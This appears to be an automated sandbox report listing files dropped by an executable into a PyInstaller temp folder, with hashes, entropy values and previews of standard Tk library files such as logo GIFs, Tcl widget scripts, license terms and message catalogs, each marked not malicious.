Preview:	%!PS-Adobe-3.0 EPSF-3.0.%%Creator: Adobe Illustrator(TM) 5.5.%%For: (Bud Northern) (Mark Anderson Design).%%Title: (TCL PWRD LOGO.ILLUS).%%CreationDate: (8/1/96) (4:59 PM).%%BoundingBox: 242 302 377 513.%%HiResBoundingBox: 242.0523 302.5199 376.3322 512.5323.%%DocumentProcessColors: Cyan Magenta Yellow.%%DocumentSuppliedResources: procset Adobe_level2_AI5 1.0 0.%%+ procset Adobe_IllustratorA_AI5 1.0 0.%AI5_FileFormat 1.2.%AI3_ColorUsage: Color.%%CMYKCustomColor: 0 0.45 1 0 (Orange).%%+ 0 0.25 1 0 (Orange Yellow).%%+ 0 0.79 0.91 0 (PANTONE Warm Red CV).%%+ 0 0.79 0.91 0 (TCL RED).%AI3_TemplateBox: 306 396 306 396.%AI3_TileBox: 12 12 600 780.%AI3_DocumentPreview: Macintosh_ColorPic.%AI5_ArtSize: 612 792.%AI5_RulerUnits: 0.%AI5_ArtFlags: 1 0 0 1 0 0 1 1 0.%AI5_TargetResolution: 800.%AI5_NumLayers: 1.%AI5_OpenToView: 102 564 2 938 673 18 1 1 2 40.%AI5_OpenViewLayers: 7.%%EndComments.%%BeginProlog.%%BeginResource: procset Adobe_level2_AI5 1.0 0.%%Title: (Adobe Illustrator (R) Version 5.0 Le

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\pwrdLogo100.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 89a, 64 x 100
Category:	dropped
Size (bytes):	1615
Entropy (8bit):	7.461273815456419
Encrypted:	false
SSDEEP:	48:aE45BzojC3r1WAQ+HT2gAdKhPFZ/ObchgB8:V5Gb1WN+yfcObmgW
MD5:	DBFAE61191B9FADD4041F4637963D84F
SHA1:	BD971E71AE805C2C2E51DD544D006E92363B6C0C
SHA-256:	BCC0E6458249433E8CBA6C58122B7C0EFA9557CBC8FB5F9392EED5D2579FC70B
SHA-512:	ACEAD81CC1102284ED7D9187398304F21B8287019EB98B0C4EC7398DD8B5BA8E7D19CAA891AA9E7C22017B73D734110096C8A7B41A070191223B5543C39E87AF
Malicious:	false
Reputation:	unknown
Preview:	GIF89a@.d.............................f.................f...ff.f3.f..33.3.........f..ff.f3.33.3.f..f..ff.ff.ffff3ff333f.3f.33.33f.3...................................................................!.. -dl-.!.......,....@.d....@.pH,..E.... ..(...H$..v..j....K....q..5L......^).3.Y7..r..u.v\|g..om...\iHl..p...`G..\~....fn[q...P.g.Z.l....y...\.l......f.Z.g...%%....e...e...)....O.f..e. ....O..qf..%..(.H.u..]..&....#4.......@.).....u!.M..2. ..PJ..#..T..a.....P.Gi... <Hb....x..z.3.X.O..f.........].Bt..lB.Q.r...9pP....&...L. ..,`[.....E6.Q.....?.#L......\|g........N....[.._........."4......b....G6.........m.zI].....I.@.......I.9...glew...2.B..c>./..2....x.....<...{...7;.....y.I.....4G.Qj0..7..%.W.V...?!..[...X..=..k.h..[Q<.....0.B....(P.x.,.......8OZ.8P!.$....u.c..Ea!..eC....CB.. .H..E..#..C..E...z..&.Nu........c.0..#.T.M.U........l.p @..s.\|..pf!..&.......8.#.8.......J>. .t..h6(........#..0.A...!..)...x..u.Z....%..H............`......\|.....1.......&.....T...f.l...

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\pwrdLogo150.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 89a, 97 x 150
Category:	dropped
Size (bytes):	2489
Entropy (8bit):	7.708754027741608
Encrypted:	false
SSDEEP:	48:/Ev7JJ+3uvz/Hwbcp7igaIwjBui7qFxIIOdJXcI+Ks:M9oWz/7pZAV7qPIImJXtXs
MD5:	711F4E22670FC5798E4F84250C0D0EAA
SHA1:	1A1582650E218B0BE6FFDEFFD64D27F4B9A9870F
SHA-256:	5FC25C30AEE76477F1C4E922931CC806823DF059525583FF5705705D9E913C1C
SHA-512:	220C36010208A87D0F674DA06D6F5B4D6101D196544ABCB4EE32378C46C781589DB1CE7C7DFE6471A8D8E388EE6A279DB237B18AF1EB9130FF9D0222578F1589
Malicious:	false
Reputation:	unknown
Preview:	GIF89aa...............................f.................f...ff.f3.f..33.3............f..ff.f3.33.3.f..ff.ff.ffff3ff333f.3f.33.33f.3...................................................................!.. -dl-.!.......,....a......@.pH,...r.l:..TB.T..V..z..H.j..h...&.......t"....F...d..gN~Y...g....}..r....g.....o...g.......Y.w..W......N....Z....W....f...tL.~.f....New............W.M.r.........O.q........W-./i.*...`..z..F9.../9..-.......$6..G..S...........zB.,nw.64...e4.......HOt......f.....)..OX..C.eU.(.Qh.....T..<Q.Y.P.L.YxT....2........ji..3.^)zz..O.a..6 ...TZ........^...7.....>\|P.....w$...k.ZF.\R.u....F.]Z.--(v+)[Y....=.!.W..+.]..]._.....&..../Ap...j...!..b.:...{.^.=.`...U.....@Hf..\?.(..Lq@.........0..L...a...&.!.....]#..]G \..q...A.H.X[...(.W......,...1a..B...W(.t.8.AdG.)..(P=...Uu.u..A.KM\...'r.R./.W..d2a.0..G...?...B......#H........1Q.0...R....%+...0.I..{.<......QV.tz'.yn.E.p..0i.I.g......L....%....K...A.l.ph.Q.1e...Z....g..2e...smU&d;.J..

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\pwrdLogo175.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 89a, 113 x 175
Category:	dropped
Size (bytes):	2981
Entropy (8bit):	7.758793907956808
Encrypted:	false
SSDEEP:	48:AmEwM8ioQoHJQBTThKVI7G78NLL120GFBBFXJRxlu+BmO/5lNqm7Eq:B57QoHJQt4II8BZ+jxluZO/5lNqm7Eq
MD5:	DA5FB10F4215E9A1F4B162257972F9F3
SHA1:	8DB7FB453B79B8F2B4E67AC30A4BA5B5BDDEBD3B
SHA-256:	62866E95501C436B329A15432355743C6EFD64A37CFB65BCECE465AB63ECF240
SHA-512:	990CF306F04A536E4F92257A07DA2D120877C00573BD0F7B17466D74E797D827F6C127E2BEAADB734A529254595918C3A5F54FDBD859BC325A162C8CD8F6F5BE
Malicious:	false
Reputation:	unknown
Preview:	GIF89aq...............................f.................f...ff.f3.f..33.3............f..ff.f3.3f.33.3.f..ff.ff.ffff3ff333f.3f.33.33f.3................................................................!.. -dl-.!.......,....q......@.pH,...r.l:....A}H...v..R......D.VF..,%M....^.....fyzU.P..f...i.....t..Uqe..N..Z..i......~....g......u.....g......\...h.....P...h.....Q..g....Z..h......]......\...M...[..s...c2.+R.$. ......#.....)v..4....MO.b.....9......[.M.........h'..<-..=.....HQD....D?.~......W7. ..V.W0..l....0p}..KP?c.\@KW.S(..M..B.....-q...S2....,..P.{....F..._MAn ....i.Y3............zh.y.j@...a876...ui.i..;K.........p...`.,}w....tv.m...Y..........;.;.e).e&.......-.NC.4..(..........F........[,w....f......E....h..a3.T.^.........)...C.N8.h\T...+&.z....g]H..B..#.t6..Z.....j.-..N......TI....A........M?..Q&V'...Mb.f.x...h.$r.U .9..Ci. ].4.Zb..@...X....%..<..b)V!........Y)x......T.....h.p.d..h..(........]@.**J.M.U.Jf...Y.:....F..g:..d..6q.-..

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\pwrdLogo200.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 89a, 130 x 200
Category:	dropped
Size (bytes):	3491
Entropy (8bit):	7.790611381196208
Encrypted:	false
SSDEEP:	96:ROGuxkQ9mcV7RXcECEtqCa+6GK8WseNXhewFIp9ZmL4u:ROGwpVOEbqCrWsUhtIk4u
MD5:	A5E4284D75C457F7A33587E7CE0D1D99
SHA1:	FA98A0FD8910DF2EFB14EDAEC038B4E391FEAB3C
SHA-256:	BAD9116386343F4A4C394BDB87146E49F674F687D52BB847BD9E8198FDA382CC
SHA-512:	4448664925D1C1D9269567905D044BBA48163745646344E08203FCEF5BA1524BA7E03A8903A53DAF7D73FE0D9D820CC9063D4DA2AA1E08EFBF58524B1D69D359
Malicious:	false
Reputation:	unknown
Preview:	GIF89a................................f.................f...ff.f3.f..33.3............f..ff.3f.33.3.f..ff.ff.ffff3ff333f.3f.33.33f.3...................................................................!.. -dl-.!.......,...........@.pH,...r.l:..T..F$XIe..V$.x..V.Z.z..F.pxd~..........{....o....l..{.b...hi[}P.k...y.....y.f.._R.\...............m.....y.....x......^.Q...j.....\S.....^.......l......]...[.......).....{....7...`..<...`..">..i.?/..@............>..Z.z@....0B..r...j.V.I.@..;%R......J.p.A.t...$A...>`.....@g5BP.A..p.x.............q..8...... ...(.Q..#..@...F..YSK..M..#o.....D.m..-.....k}...BT..V......'.....`.d..~;..9+..6...<b.eZ..y^0]0..I...=.6.....}.0<.Z...M...Y135.e.....b...U0F~.-.HT......l2.s.q`-....y...e....dPZ....~.zT.M.... "r.E/k. .....Lj@'........Pcd&.(..mxF_w.."K..x!..--Y`..A.....Be.jH.A..\..j.....du#.....]^...>......].i.FMO..].9n1",Y...F...EW.9.....0TY.T...Cv!i`%...Hz@.]..U.!Y...#Dv&pi.z(.mn.A....@Q.0.%...&.4.v.cw(.`cd'\|..M9..."...,.......

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\pwrdLogo75.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 89a, 48 x 75
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.289201491091023
Encrypted:	false
SSDEEP:	24:DOfHIzP8hqiF+oyPOmp3XHhPBlMVvG0ffWLpfc:DGoPM+o0OmZXHhOv5WRc
MD5:	7013CFC23ED23BFF3BDA4952266FA7F4
SHA1:	E5B1DED49095332236439538ECD9DD0B1FD4934B
SHA-256:	462A8FF8FD051A8100E8C6C086F497E4056ACE5B20B44791F4AAB964B010A448
SHA-512:	A887A5EC33B82E4DE412564E86632D9A984E8498F02D8FE081CC4AC091A68DF6CC1A82F4BF99906CFB6EA9D0EF47ADAC2D1B0778DCB997FB24E62FC7A6D77D41
Malicious:	false
Reputation:	unknown
Preview:	GIF89a0.K.............................f.................f...ff.f3.f..33.3.........f..ff.f3.3f.33.3.f..ff.ff.f3ff333f.3f.33.33f.3......................................................................!.. -dl-.!.......,....0.K....@.pH,...GD.<:..%SR.Z......<.V.$l.....z......:.. .\|v[D..f...z.W.G.Vr...NgsU.yl..qU..`.......`fe`.......Fg....(.&...g.Y.. .."..q.V.$.'.Ez.W....y...Y.U...(#Xrf.........Xux.U..........(U.4...X....G.B..t..1S...R..Y. ...l ..".>.h......,%K....A.....<s....#..8.iK.....a.y$h..DQh.PE)....6.....MyL.qzF..... ."..Y0..a......2..*t..Ma..b...M..R.....\..st..=....Q......,>s`....Qt.,..B.R.....!.$..%.....(...s...B.T...`,".h(. D....8..dC..\Q.p.......x.#A.....:..du..(D.XV......7....S.#n8a....2`...f.:G,...==(......`!..$...t....b..../N\|...f..J.x... P&.\|.d._!N...].1w.3D.0!....@o&H...N.B.J....pz8..w.i....=r.............@5.-!.......H."..[.j.AB<..p....h...V.D..6.h...ab1F.g...I !.V~.H..V.........:.G..\|c...,.....TD5..c[.W.....LC.....FJ..71[..lH.M.....8.:$......

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\images\tai-ku.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	GIF image data, version 89a, 100 x 100
Category:	dropped
Size (bytes):	5473
Entropy (8bit):	7.754239979431754
Encrypted:	false
SSDEEP:	96:+EqG96vSGfyJZ26G6U1LI7nTD2enhjc+2VBnOqcUERVIim:+46KcyJI6G6uU7/LhjlkhQR7m
MD5:	048AFE69735F6974D2CA7384B879820C
SHA1:	267A9520C4390221DCE50177E789A4EBD590F484
SHA-256:	E538F8F4934CA6E1CE29416D292171F28E67DA6C72ED9D236BA42F37445EA41E
SHA-512:	201DA67A52DADA3AE7C533DE49D3C08A9465F7AA12317A0AE90A8C9C04AA69A85EC00AF2D0069023CD255DDA8768977C03C73516E4848376250E8D0D53D232CB
Malicious:	false
Reputation:	unknown
Preview:	GIF89ad.d...................RJJ...B99.......RBB..B11ZBB!....R991!!...)....{{B!!R)).JJ.ss.ZZ.BB.kk.RR.JJ.BB9...JJR!!.ZZ.BB.11.99.{s.sk.kc.cZ.ZR.JB.ZR.JB.JB.RJ.B9.91.B9...{.JB.91.B9.B9.1){)!.)!.9)..ZR.JB{91.cR{1).ZJ.ZJ.RB.J9.B1.B1.9).1!....{B9.{k.scc1).kZZ)!c)!.9).B1.9).9).1!.1!.1!.B).9!.9!.1..).....{.sZ1)R)!.B1.B1.ZBR!..9).ZB.9).R9.R9.1!.J1.J1.B).B).9!.9!.1..1..).....sZ.J9.ZB.cJJ!.{1!.B).9!{)..9!.J).B!.B!.9..R1).kJ)!.B1{9).R9.cB.Z9.Z9.B).Z9.B).R1.9!.R1.J).J).B!.1..9....{.s.J9.{Z.ZB.sR.kJk1!.cB.cB.R1.R).1..B!.J!.B.....R91.J1).c.kJ.J).Z1.B!.B!..9!..{R.sJ.Z9.R1{9!..s.R9.Z...J91Z9){B)...............B91..1)!..............................RJR............B)1......R19........BJ.9B..{..s{......!.......,....d.d.@............0@PHa.....p...7.8.y...C.s6Z.%Q.#s.`:B.N....4jd.K.0..\|y....F@.......1~ ......'Y.B"C&R.V.R.4$k.3...D.......EfY3..M........BDV._.....\..).]..>s..$H\%y0WL...d.......D..'..v..1Kz.Zp$;S

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\license.terms

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2208
Entropy (8bit):	5.100926243789827
Encrypted:	false
SSDEEP:	48:ox3uZcRTvy3DauG4+bHnr32s3eGw8YKxPiOXR3ojdS+mFf:hcFaz+bL3e8n3XR3ojdtOf
MD5:	8B74B116CD5C4334D08F62B9265A482D
SHA1:	D1C745B315BF5B14BBD61C002BD6BE33426EA9B4
SHA-256:	4D337CAE08517060A21E404CDBACE9C4EA191E57BA0638864473F01E67C9F457
SHA-512:	0E52ACED6739375F3D1A3D33333292F0DB03249AE138CCFE96437C6908D1594CA311587542FCEC5ADBC254BB5D7C1BF3976352AB86A2B23DBAB0D9BA05100470
Malicious:	false
Reputation:	unknown
Preview:	This software is copyrighted by the Regents of the University of.California, Sun Microsystems, Inc., and other parties. The following.terms apply to all files associated with the software unless explicitly.disclaimed in individual files...The authors hereby grant permission to use, copy, modify, distribute,.and license this software and its documentation for any purpose, provided.that existing copyright notices are retained in all copies and that this.notice is included verbatim in any distributions. No written agreement,.license, or royalty fee is required for any of the authorized uses..Modifications to this software may be copyrighted by their authors.and need not follow the licensing terms described here, provided that.the new terms are clearly indicated on the first page of each file where.they apply...IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY.FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES.ARISING OUT OF THE USE OF THIS SOFTWARE, IT

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\listbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	14278
Entropy (8bit):	4.889913584738437
Encrypted:	false
SSDEEP:	384:ZUjtAchYusFvpgM6UFchqHjNw8wSdy+1a22YDE/q:ZLgTUBjW8RQcf
MD5:	CD15965D867244614D6F930B2CBC0CA9
SHA1:	3FD888D2C893E2F9FDF8FDCF91F56FB770996D51
SHA-256:	F6A17CD097C2089549BB3DA431CE7F6BA0A238ADA40F7591D45961DA774687FE
SHA-512:	0897B57A8BCD93BC32D8A63355C4F788ECBCD5780494CD47790C9EE26819595303765915B9862AB4D1C9B47B4804BE10C76DF7D40C3CE75582EA3A2A60CC176D
Malicious:	false
Reputation:	unknown
Preview:	# listbox.tcl --.#.# This file defines the default bindings for Tk listbox widgets.# and provides procedures that help in implementing those bindings..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994-1995 Sun Microsystems, Inc..# Copyright (c) 1998 by Scriptics Corporation..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#--------------------------------------------------------------------------.# tk::Priv elements used in this file:.#.# afterId -..Token returned by "after" for autoscanning..# listboxPrev -..The last element to be selected or deselected.#...during a selection operation..# listboxSelection -.All of the items that were selected before the.#...current selection operation (such as a mouse.#...drag) started; used to cancel an operation..#--------------------------------------------------------------------------..#------------------------------------

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\menu.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	38042
Entropy (8bit):	4.871518538014406
Encrypted:	false
SSDEEP:	768:0K5IGCwGH71JtVbQDFTo06WpSCeihpzuxdyQYEuH9DAW9:0K5dWHDs69WuxdRYxHS0
MD5:	302A2B300B4430E0396F6C4798A91BE2
SHA1:	EAA8E790D7447F5FDBA51A684FA4E8F6A7F15210
SHA-256:	FAD0BFC58C9DC718013740B8A144C494B3129C686E7CE912314429EB06A48A55
SHA-512:	7FF4F213DD88D6DDD08F542EDE14D03290A588B81BEF293F22919564514DA20B066FD7D2F387667B2B23E6A1440CD57A0B9FD73C20B8C68CE09B1DD65E8DEF3C
Malicious:	false
Reputation:	unknown
Preview:	# menu.tcl --.#.# This file defines the default bindings for Tk menus and menubuttons..# It also implements keyboard traversal of menus and implements a few.# other utility procedures related to menus..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..# Copyright (c) 1998-1999 by Scriptics Corporation..# Copyright (c) 2007 Daniel A. Steffen <das@users.sourceforge.net>.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# Elements of tk::Priv that are used in this file:.#.# cursor -..Saves the -cursor option for the posted menubutton..# focus -..Saves the focus during a menu selection operation..#...Focus gets restored here when the menu is unposted..# grabGlobal -..Used in conjunction with tk::Priv(oldGrab): if.#...tk::Priv(oldGrab) is non-empty, then tk::Pr

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\mkpsenc.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	27195
Entropy (8bit):	4.814848179189606
Encrypted:	false
SSDEEP:	768:PbIvXHip4HOvtmXSckY6hwE9iM/Q9NSF7HBZ2l0K:PMXHip4HOvtmXSck5wE9iMMSHK
MD5:	A9465C342EEA4655624C5330BED9FA47
SHA1:	BC3B0A948F543C9365E0602099A9CB470066B725
SHA-256:	C468D571980AA994F1475146E3D755F614ED4EED9B3E429557EBB722E4CA8566
SHA-512:	868C3F29686429EAA3C3A25A74AD4C7805607CAA1A505464B8818150B44B6EE96CAA7E8785A452BB75483E8D3658B5B1876250D5144B4ED97908D13E7EEF9DDD
Malicious:	false
Reputation:	unknown
Preview:	# mkpsenc.tcl --.#.# Creates Postscript encoding vector for given encoding.# ..proc ::tk::CreatePostscriptEncoding {encoding} {. # now check for known. Even if it is known, it can be other. # than we need. GhostScript seems to be happy with such approach. set result "/CurrentEncoding \[\n". for {set i 0} {$i<256} {incr i 8} {. for {set j 0} {$j<8} {incr j} {.. set enc [encoding convertfrom $encoding [format %c [expr {$i+$j}]]].. if {[catch {format %04X [scan $enc %c]} hexcode]} {set hexcode {}}.. if [info exists ::tk::psglyphs($hexcode)] {...append result "/$::tk::psglyphs($hexcode)".. } else {...append result "/space".. }..}..append result "\n". }. append result "\] def\n". return $result.}..# List of adobe glyph names. Converted from glyphlist.txt, downloaded.# from Adobe..namespace eval ::tk {.array set psglyphs {. 0020 space. 0021 exclam. 0022 quotedbl. 0023 numbersign. 0024 dollar. 0025 percent. 0026 ampersand. 0027 quotes

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	xbm image (32x, ASCII text
Category:	dropped
Size (bytes):	17035
Entropy (8bit):	4.710609471760674
Encrypted:	false
SSDEEP:	384:aWsDPYblrrdc2fjAwnAVphS3OJifWMCXEcjY:an2fjAwMhDifgXt0
MD5:	C157309C857AE2B6AEC5AC0E37F0D28F
SHA1:	ACA7F286D579A4480728BB379492E4F241266920
SHA-256:	3DE607042231819ECFB9FEAB86B23AAAF88AF9352E23D50A5560CDC1E0B55021
SHA-512:	BC4038E35526201B32EDD6417C4943A27D5ABBD19ABEAABD3A3E15503C323B9731624DABBF244F0349450921A54576C661F61F2858ED176C4D9FD69D20B6561E
Malicious:	false
Reputation:	unknown
Preview:	# msgbox.tcl --.#.#.Implements messageboxes for platforms that do not have native.#.messagebox support..#.# Copyright (c) 1994-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# Ensure existence of ::tk::dialog namespace.#.namespace eval ::tk::dialog {}..image create bitmap ::tk::dialog::b1 -foreground black \.-data "#define b1_width 32\n#define b1_height 32.static unsigned char q1_bits[] = {. 0x00, 0xf8, 0x1f, 0x00, 0x00, 0x07, 0xe0, 0x00, 0xc0, 0x00, 0x00, 0x03,. 0x20, 0x00, 0x00, 0x04, 0x10, 0x00, 0x00, 0x08, 0x08, 0x00, 0x00, 0x10,. 0x04, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x40,. 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80,. 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80,. 0x01, 0x00, 0x00, 0x80, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x40,. 0x04, 0x00, 0x00, 0x20, 0x08, 0x00,

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\cs.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4506
Entropy (8bit):	4.741055603590887
Encrypted:	false
SSDEEP:	48:R9gwwTNGN62C9Gq+quUa9DwvlgtnSsgPVp5QanWQfl5:Rq7TNuC9Squg9gcsgPVcS5
MD5:	9A24B935D8E3F60A0947CF3F16917575
SHA1:	E9DB0557F08272C2A82FDACA06D46970347B476D
SHA-256:	A3419AF7BDEFCB892BF6410EC71BF95EEA2E715E9BBAC53FB93B63A3F84256CE
SHA-512:	7E84420277919E9C5E38A68E76115812E95343E721A313BE350A691510BE68D4A0B5554139AF4FA681A16BB11DF11E8A7356A08463105A9712E37AF43AB34F45
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset cs "&Abort" "&P\u0159eru\u0161it". ::msgcat::mcset cs "&About..." "&O programu...". ::msgcat::mcset cs "&Blue" "&Modr\341". ::msgcat::mcset cs "&Cancel" "&Zru\u0161it". ::msgcat::mcset cs "&Clear Console" "&Smazat konzolu". ::msgcat::mcset cs "&Copy" "&Kop\355rovat". ::msgcat::mcset cs "&Delete" "&Smazat". ::msgcat::mcset cs "&Directory:" "&Adres\341\u0159:". ::msgcat::mcset cs "&Edit" "&\332pravy". ::msgcat::mcset cs "&File" "&Soubor". ::msgcat::mcset cs "&Filter" "&Filtr". ::msgcat::mcset cs "&Green" "Ze&len\341". ::msgcat::mcset cs "&Help" "&N\341pov\u011bda". ::msgcat::mcset cs "&Hide Console" "&Schovat Konzolu". ::msgcat::mcset cs "&Ignore" "&Ignorovat". ::msgcat::mcset cs "&No" "&Ne". ::msgcat::mcset cs "&OK". ::msgcat::mcset cs "&Open" "&Otev\u0159\355t". ::msgcat::mcset cs "&Quit" "&Ukon\u010dit". ::msgcat::mcset cs "&Red" "\u010ce&rven\341". ::msgcat::mcset cs "&Retry" "Z&novu

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\da.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3866
Entropy (8bit):	4.605623854056765
Encrypted:	false
SSDEEP:	48:G8D/jSf5s80vWC0x5kTvgXTfODYE9lAUt:G8rmB0Z0x5kTv4sbt
MD5:	523DD23F26D7110CB9183AD16C837417
SHA1:	BDDBE76BC0C30CFFADD1B8DB178C480E896D9B65
SHA-256:	6D58D7F39876FF0A74BE833E6E8CEC8E2131152B821C6311B7D203CE340C8521
SHA-512:	977AFFB43AE853D4F961FD84CC48C57794BD6FAB4BB61C12750DF7EDD910A36987BC9B830C23EB487DF7ED4452D9EDB57501E2E2FB9FDA15D822540C101071A0
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset da "&Abort" "&Afbryd". ::msgcat::mcset da "&About..." "&Om...". ::msgcat::mcset da "All Files" "Alle filer". ::msgcat::mcset da "Application Error" "Programfejl". ::msgcat::mcset da "&Blue" "&Bl\u00E5". ::msgcat::mcset da "&Cancel" "&Annuller". ::msgcat::mcset da "Cannot change to the directory \"%1\$s\".\nPermission denied." "Kan ikke skifte til katalog \"%1\$s\".\nIngen rettigheder.". ::msgcat::mcset da "Choose Directory" "V\u00E6lg katalog". ::msgcat::mcset da "&Clear" "&Ryd". ::msgcat::mcset da "&Clear Console" "&Ryd konsolen". ::msgcat::mcset da "Color" "Farve". ::msgcat::mcset da "Console" "Konsol". ::msgcat::mcset da "&Copy" "&Kopier". ::msgcat::mcset da "Cu&t" "Kli&p". ::msgcat::mcset da "&Delete" "&Slet". ::msgcat::mcset da "Details >>" "Detailer". ::msgcat::mcset da "Directory \"%1\$s\" does not exist." "Katalog \"%1\$s\" findes ikke.". ::msgcat::mcset da "&Directory:" "&Katalog:".

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\de.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	4.594758112169527
Encrypted:	false
SSDEEP:	96:13LqlagtGIvz8MFU9RvjwKAN98qqU007Qt:6/KRrwKYtIt
MD5:	139BC00416C426A552879AB5295105A0
SHA1:	2C66C715E44BCB6EF6396D1197E9848FA3196F6F
SHA-256:	6513BEAB8B2FF7D13D6AE1455F088AEC5EFF911288889162330DF7F70B90C9ED
SHA-512:	43644BA01244BA2486DB1E75BEC325A78D7852BB319D1B4A5145E577663BC624BFD123C41F909C212D43598FDA6518486BC4D0E717BE085F7FFDA20C0FC72D19
Malicious:	false
Reputation:	unknown
Preview:	namespace eval ::tk {. ::msgcat::mcset de "&Abort" "&Abbruch". ::msgcat::mcset de "&About..." "&\u00dcber...". ::msgcat::mcset de "All Files" "Alle Dateien". ::msgcat::mcset de "Application Error" "Applikationsfehler". ::msgcat::mcset de "&Blue" "&Blau". ::msgcat::mcset de "&Cancel" "&Abbruch". ::msgcat::mcset de "Cannot change to the directory \"%1\$s\".\nPermission denied." "Kann nicht in das Verzeichnis \"%1\$s\" wechseln.\nKeine Rechte vorhanden.". ::msgcat::mcset de "Choose Directory" "W\u00e4hle Verzeichnis". ::msgcat::mcset de "Cl&ear" "&R\u00fccksetzen". ::msgcat::mcset de "&Clear Console" "&Konsole l\u00f6schen". ::msgcat::mcset de "Color" "Farbe". ::msgcat::mcset de "Console" "Konsole". ::msgcat::mcset de "&Copy" "&Kopieren". ::msgcat::mcset de "Cu&t" "Aus&schneiden". ::msgcat::mcset de "&Delete" "&L\u00f6schen". ::msgcat::mcset de "Details >>". ::msgcat::mcset de "Directory \"%1\$s\" does not exist." "Das Verzeichnis \"%1\$s

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\msgs\el.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text, with very long lines (355)
Category:	dropped
Size (bytes):	8609
Entropy (8bit):	4.298043622238247
Encrypted:	false
SSDEEP:	48:tCrF5o/cmSHbkI8+ETnFI3mC2hk9I+c6M30UPfMNDz9BybFkm5w+kGR8MOFiL0xc:wp5RmSHlsFerVIfM5vsam5VOQAkF
MD5:	39372CE223E6F5FAF512936833AC82E2
SHA1:	62A84DD84ACCAC75847BBB453CB4E1A1B0151ECE
SHA-256:	5544E31148EDF7D0380425875FAC92164E577BB72D3FF054182D6B0F26EB49CF
SHA-512:	55F810C46DF2E069C07FA102B88184710C6C67270DF020E7F8F753E9AC7BA3081F339E1876CC658FE92CB60CD67EB13A987BE1F3E35E627D8F325B6D5C9CE04B
Malicious:	false
Reputation:	unknown
